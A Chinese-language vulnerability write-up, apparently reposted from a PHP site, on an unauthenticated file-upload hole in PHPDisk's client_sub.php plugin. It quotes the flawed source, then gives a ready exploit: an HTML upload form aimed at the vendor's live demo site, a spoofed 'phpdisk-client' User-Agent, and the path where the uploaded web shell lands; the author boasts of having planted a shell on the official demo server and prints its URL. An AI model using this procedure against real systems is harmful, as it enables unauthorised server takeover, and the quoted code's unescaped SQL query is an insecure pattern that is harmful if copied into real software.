来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] 无需登录,无需权限,直接getshell。上传位置在plugins phpdisk_client client_sub php首先验证user-agent,然后从解密字符串里拿到了一个用户名和密码:include includes commons inc php;@set_time_l...
无需登录,无需权限,直接getshell。
上传位置在plugins/phpdisk_client/client_sub.php
首先验证user-agent,然后从解密字符串里拿到了一个用户名和密码:
include "../../includes/commons.inc.php";
@set_time_limit(0); $agent = $_SERVER['HTTP_USER_AGENT']; if($agent!='phpdisk-client'){ exit('<a href="http://faq.phpdisk.com/search?w=p403&err=code" target="_blank">[PHPDisk Access Deny] Invalid Entry!</a>'); } $u_info = trim(gpc('u_info','P','')); parse_str(pd_encode(base64_decode($u_info),'DECODE')); // checked username and pwd... /*$username = trim(gpc('username','GP','')); $password = trim(gpc('password','GP',''));*/ $username = is_utf8() ? $username : convert_str('utf-8','gbk',$username); $password = is_utf8() ? $password : convert_str('utf-8','gbk',$password); $userinfo = $db->fetch_one_array("select userid from {$tpf}users where username='$username' and password='$password'"); if(!$userinfo){ $str = '网盘登录出错:用户名或密码不正确,请重新输入'; $str = is_utf8() ? convert_str('utf-8','gbk',$str) : $str; echo $str; }else{ $uid = (int)$userinfo[userid]; } 拿到用户名和密码以后,进入数据库查询,但查询出错后echo出来“网盘登录出错:用户名或密码不正确,请重新输入”并没退出。这个就没有用了,不需要知道加密字符串,也不用登陆。
所以继续往下看,
switch ($action){ case 'upload_file': //write_file(PHPDISK_ROOT.'system/2.txt',var_export($_POST,true)); //write_file(PHPDISK_ROOT.'system/3.txt',var_export($_FILES,true)); $file = $_FILES['file1']; $file_name = trim(gpc('file_name','P','')); $file_do_name = trim(gpc('file_do_name','P','')); $file_local_path = trim(gpc('file_local_path','P','')); $folder_id = (int)gpc('folder_id','P',0); $file_size = (int)gpc('file_size','P',0); $file_parts = (int)gpc('file_parts','P',0); $tmp_dir = PHPDISK_ROOT.'system/cache/'; make_dir($tmp_dir); $file_local_path = is_utf8() ? convert_str('gbk','utf-8',$file_local_path) : $file_local_path; $file_do_name = is_utf8() ? convert_str('gbk','utf-8',$file_do_name) : $file_do_name; $file_name = is_utf8() ? convert_str('gbk','utf-8',$file_name) : $file_name; if(upload_file($file['tmp_name'],$tmp_dir.$file[name])){ //insert db
进入case以后调用upload_file上传,文件名就直接用的$file[name]。
跟一下upload_file看看:
function upload_file($source, $target) { if (function_exists('move_uploaded_file') && @move_uploaded_file($source, $target)) { @chmod($target, 0666); return $target; } elseif (@copy($source, $target)) { @chmod($target, 0666); return $target; } elseif (@is_readable($source)) { if ($fp = @fopen($source,'rb')) { @flock($fp,2); $filedata = @fread($fp,@filesize($source)); @fclose($fp); } if ($fp = @fopen($target, 'wb')) { @flock($fp, 2); @fwrite($fp, $filedata); @fclose($fp); @chmod ($target, 0666); return $target; } else { return false; } } }
没有验证。直接拷贝进去了。
虽然case那块后面有个unlink对上传的文件进行删除,不过因为之后有一处数据库查询失败,导致这个unlink没有执行。(应该是,我没细看,反正没执行,我的shell没被删)
利用:
本地构造一个上传单页:
<form name="form" method="post" action="http://demo.phpdisk.com/v/plugins/phpdisk_client/client_sub.php?action=file_upload" enctype="multipart/form-data" > <input type="hidden" name="file_name" value="aaa.gif"> <input type="file" name="file1"> <input type="submit" name="Submit" value="上传" ></form>
选择shell上传,中途抓包。
改user-agent为“phpdisk-client”,不改不能上传。
发送。
返回包是这样的:
这个时候查看/system/cache/即可看到shell:
官网demo站shell已拿下:
http://demo.phpdisk.com/v/system/cache/info.php
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